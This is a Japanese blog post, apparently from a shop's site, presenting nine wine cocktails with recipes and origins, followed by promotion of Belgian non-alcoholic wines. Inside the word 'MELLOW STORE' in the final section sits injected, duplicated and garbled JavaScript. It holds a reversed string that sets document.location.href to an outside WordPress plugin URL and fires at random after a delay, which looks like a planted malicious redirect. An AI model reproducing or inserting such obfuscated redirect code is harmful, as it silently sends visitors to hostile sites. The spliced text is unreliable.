今日は何で割る?モクテルでも楽しめる、お手軽&絶品ワインカクテル9種
開けたワインが中途半端に残ってしまったり、せっかく買ったけどあまり味が好みでなかったということ、ありませんか?
そんな時には、ワインカクテルにしてみてはいかがでしょうか?
ちょっと味に変化をつけることで、楽しく飲み切ることができますよ!
また、「ワインの味は好きだけど、アルコールに弱くて飲めない」という方にとっても、ワインカクテルはピッタリ。
ジュースやソーダで割ることで、アルコール度が下がって飲みやすくなります。
今回は、コンビニやスーパーでも手軽に手に入る材料を使った、簡単に作れてオシャレなお手軽なワインカクテル9種をご紹介します。
アルコール入りはもちろん、ノンアルコールでもおいしく作れるので、シチュエーションや気分に合わせて楽しんでくださいね!
◇スパーリングワインのカクテル
・ミモザ
スパークリングワインを使ったカクテルの中で一番よく知られているのがこの「ミモザ」。
フランスの名門ホテル リッツ・パリで生まれたといわれるミモザですが、元々はフランス貴族に飲まれていた「シャンパン ロランジュ」という飲み物がルーツのようです。
オレンジ色合いがお花のミモザに似ていることからその名が付きました。休日のブランチにピッタリのカクテルです♪
作り方は、スパーリングワインとフレッシュオレンジジュースを1:1の割合でシャンパンフルートに注ぐだけ。
美味しく楽しむには、ワインとジュースはもちろん、グラスまでしっかり冷蔵庫で冷やしておくのがポイントです。
なお、同じレシピを、タンブラーに注いで、氷を浮かべると、イギリス生まれの「バックス・フィズ」というカクテルになります。
ノンアルコールスパーリングワインで作っても美味しく楽しめるので、是非一度試してみてくださいね。
・ベリーニ
女性に人気のスパークリングワインカクテルといえば、ジューシなビーチ風味とピンク色がかわいらしいベリーニ。
ベリーニの誕生は1940年代後半のイタリア、ヴェネチアです。
作家のアーネスト・ヘミングウェイや俳優のハンフリー・ボガートが通ったことで有名なバー、ハリーズ・バーがその発祥です。
バーのオーナーであり、バーテンダーのジュゼッペ・チプリアーニ氏が、地元ヴェネト州の名産の桃を使ったピューレと、同じくヴェネト州が世界に誇るスパースリングワインであるプロセッコを使って作り出しました。
優しくみずみずしい美味しさはまたたくまに人気となり、世界中から名店ハリーズ・バーに訪れる顧客を通じ、あっという間に世界中に広められたといいます。
今では、ミモザに次いで有名な、スパークリングワインを使った定番カクテルとして、全世界で愛されています。
ちなみに、名前のベリーニの由来は、ルネサンス期の高名な画家であるジョヴァンニ・ベリーニから取られたそう。ベリーニの夕映えのようなオレンジがかったピンク色が、色彩豊かなジョヴァンニ・ベリーニの絵画を思わせるということで、その名がつけられたそうです。
作り方は、ピーチネクター30ml、グレナデンシロップ5mlを、しっかり冷やしたシャンパンフルートに入れて混ぜ、上からスパークリングワイン60mlを注いで軽くステアすればでき上り。
ちなみにグレナデンシロップの“グレナデン”はザクロのこと。カクテルにピンクの色合いと甘酸っぱい味わい、ジューシーな香りを加えてくれます。
女子会やホームパーティーにおすすめのスパークリングワインカクテルですよ!
・ブラックベルベット
スパークリングワインと、黒ビールのスタウトで作るカクテルがブラックベルベット。
上品なスパークリングワインの味わいに、黒ビールの苦みが加わった大人な味わいのカクテルです。
ブラックベルベットが誕生したのは1800年代後半のイギリス・ロンドン。
当時のイギリス女王であるビクトリア女王の夫のアルバート公が亡くなった時に、ロンドンの名門バー・ブルックスクラブのバーテンダーが、アルバート公への哀悼を表すために、シャンパンにスタウトを加えて黒い色を付けたのが始まりといわれています。
作り方は、冷やしたグラスにまずスタウトを注ぎ、泡が落ち着いたところで、スパークリングワインを注いで、マドラーで軽くかき混ぜればでき上り。スタウト以外の黒ビールを使用してもOKです。
グラスは、伝統的にはビール用のゴブレットが使われていましたが、シャンパンフルートや、コリンズグラスを使用しても良いでしょう。
◇白ワインのカクテル
・スプリッツァー
白ワインを同じ量の炭酸水で割ったのがスプリッツァー。
オーストリアのザルツブルクで生まれたカクテルで、その名前はドイツ語で「はじける」という意味のシュプリッツェンという単語から来ています。
プチプチとした炭酸の口当たりが爽やかで、ワインに比べてアルコールが控えめなため飲みやすいカクテルです。
このままでも十分美味しいですが、そこにレモンやライムを少し加えるとよりさっぱり飲めます。
また、炭酸水をビールに替えれば「ビアスプリッツァー」のできあがり!
ビール独特の苦味に、フルーティーで香り豊かな白ワインが融合したおしゃれなカクテルです。ビール好きにはたまらないワインカクテルですね。
・オペレーター
白ワインとジンジャーエールで作るカクテルがオペレーター。
作り方は簡単。氷を入れたグラスに、白ワインとジンジャーエールを1:1の割合で注いで、レモンスライスを飾ればでき上り。
ショウガのピリリとした風味の効いた、甘口でお酒が苦手な方にもとても飲みやすいカクテルです。
名前の由来には諸説あり、
・飛行機の操縦士の間で流行ったカクテルだったから
・船の航海士が好んで飲んだカクテルだったから
・機械を操作しながらでも飲めるカクテルだから
などの説があり、ハッキリした由来は不明ですが、おそらく、アルコール度が6%程度と低く、酔いにくいことからこの名前が付いたのではないでしょうか?
お酒に弱い女性にもおすすめのワインカクテルですよ。
・白ワインサングリア
サングリアといえば、もともとは赤ワインにフルーツを加えて作ったフレーバードワインです。
その赤い色が血を思わせるため、スペイン語で「血」を意味する「サングレ」という言葉から、サングリアと呼ばれるようになりました。
しかし、白ワインで作るサングリアもあるんです。
白ワインで作ったサングリアは、サングリア・ブランカと呼ばれます。
白ワインのサングリアには、レモン・オレンジなどベースとなる柑橘類以外に、パイナップルや桃など香りのよいフルーツを加えると美味しいです。
また、赤のサングリアはシナモンスティックで香り付けしますが、白のサングリアの場合、爽やかさを損なわないため、ミントやハーブで香りづけするのが特徴です。
ストレートで飲んでも良いですが、炭酸やサイダーで割れば、アルコール度が低くて飲みやすく、トロピカルなフルーツと爽やかなミントが香る、夏にピッタリのワインカクテルになりますよ。
材料は、白ワイン750ml 1本、レモン、オレンジ各1個、カットしたパイナップル 小1パック、砂糖大さじ2、フレッシュミント1枝(あれば)。
作り方は、まずフルーツをすべて5㎜程度の厚さにスライスします。柑橘類は香りを出すため、粗塩をまぶして皮を良く洗い、皮つきのまま使いましょう。
大きなピッチャーに白ワインを注ぎ、砂糖を加えて溶かします。そこへカットしたフルーツを加え、フルーツとワインの味をなじませればできあがり。
フルーツを漬け込んだまま長い時間置くとワインが再発酵する恐れがあるため、作ってからはあまり時間はおかずに飲み切ってしまうようにしましょう。
飲む時は、氷を注いだグラスにサングリアを注いで、上にミントの葉をトッピングしましょう。お酒に弱い方はお好みの濃さに炭酸で割ってくださいね。
サングリアはフルーツやハーブを加えるので、ワインは一瓶数百円程度の安い品で十分です。
また、開けたワインが好みの味でなかった時や、飲み残しのワインの味わいがやや劣化してしまった場合にも、美味しく飲み切るために使える方法です。是非自宅で作ってみてくださいね!
◇赤ワインのカクテル
・キティ
白ワインをジンジャーエールで割ったカクテル・オペレータの赤ワイン版がキティ。氷を入れたワイングラスに、赤ワインとジンジャーエールを1:1で注いで、レモンスライスを添えればでき上りです。
名前のキティは、子猫を意味する英語から取られたとも、女性のキャサリンという名前の愛称から取られたとも言われています。いずれにしても、甘くて飲みやすいカクテルのイメージを良く表している名前ですね。
美味しく作るコツは、渋みの少ない赤ワインを使う事。というのも、赤ワインを冷やしてしまうと、渋みを強く感じやすくなってしまうからです。
ジンジャーエールは、お好みで甘口でも辛口でもOKですが、甘口を使う方がバランスの取れた味わいになるようです。
アルコール度は6%程度と低いカクテルですが、甘口ですいすい飲み進んでしまうため、飲み過ぎには注意してくださいね。
・カリモーチョ
キティのレシピを、ジンジャーエールの代わりにコーラを使って作ったものがカリモーチョ。
コーラの甘みが赤ワインの渋みを和らげてくれて、ジュースのように飲みやすいカクテルです。
もともとはメキシコ発祥のカクテルですが、1970年代頃からスペイン北部のバスク地方を中心に飲まれるようになり、現在ではサングリアに並ぶ国民的人気ドリンクとして、スペイン全土で愛されています。
コーラにラム酒を加えた「キューバリブレ」というカクテルがありますが、
カリモーチョは、ラム酒より安価な箱入りの安い赤ワインを使って作られることから、スペインでは「貧者のキューバリブレ」という別名で呼ばれることもあるそうです。
不名誉な名前がついてしまうのも、安く手に入る材料だけでできる庶民的なワインカクテルであるという証でしょうか?
・アメリカンレモネード
レモネードの上に赤ワインをフロートさせた、ツートンカラーが美しいカクテル。炭酸を使わないため、炭酸が苦手という方にも安心して飲んでいただけます。
また、赤ワインの量は全体の1/3程度のためアルコール度が3%程度と低いので、お酒に弱い人にもおすすめのカクテルです。
材料は赤ワイン30ml、レモンジュース45ml、ガムシロップ15ml、ミネラルウォーター。
まず、氷を入れたタンブラーにレモンジュースとガムシロップを入れ、上からミネラルウオーターを6分目くらいまで注ぎます。ガムシロップが底に沈まないよう、しっかり混ぜましょう。
最後に、計量カップに入れた赤ワインを、マドラーを使って静かにグラスに注ぎ入れ、レモネードの上にフロートさせて2層を作ればできあがりです。
炭酸好きな方は、ミネラルウオーターを炭酸水に変えてみたり、冬場はホットにして飲んでもおいしいですよ。
◇カクテルベースにおすすめのノンアルコールワインはこれだ!
ご紹介したワインカクテルは、ノンアルコールワインを使えばすべてノンアルコールで作ることが可能です。
MELLOW stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toreのおすすめのノンアルコールワインは、ベルギー・Neobulles社のノンアルコールワイン。
美味しさのポイントは、真空蒸留法というアルコール除去方法です。
本物のワインを密閉タンクにいれて減圧し、真空状態でアルコールの沸点を下げて、ワインの持つ香りや風味を守りながら32℃という低温で蒸留し脱アルコールしました。
なので、元のワインのアロマやフレーバーはそのままに、アルコールは0.0%。ワインらしい美味しさがしっかり感じられるので、ノンアルコールワインカクテルのベースとして使用しても、しっかりワインカクテルの味わいを再現してくれます。
ソムリエやレストランのシェフなど、食のプロの意見を取り入れながら、MELLOW STOREがネオブュル社と共同開発した、辛口ノンアルコール・スパークリングワイン。
青リンゴとレモンを思わせる果実味にシャープな酸味。キレのある口当たりに、爽やかなはじける炭酸。カクテルベースにも最適な辛口タイプです。
柑橘類と青リンゴのフレッシュなアロマとフレーバー。果実味の中に感じるキリリとした酸に、上品なオークのニュアンス。爽やかですっきりとクセのない味わいのノンアルコール白ワイン。
赤いベリーの果実味に、ほんのりとしたロースト香。程よいタンニンに、かすかに感じるスパイシーさ。優しい味わいのノンアルコール赤ワインです。
【こちらもご覧ください MELLOW 過去記事】
・『スパークリングワインを使ったカクテル』の人気ランキング!
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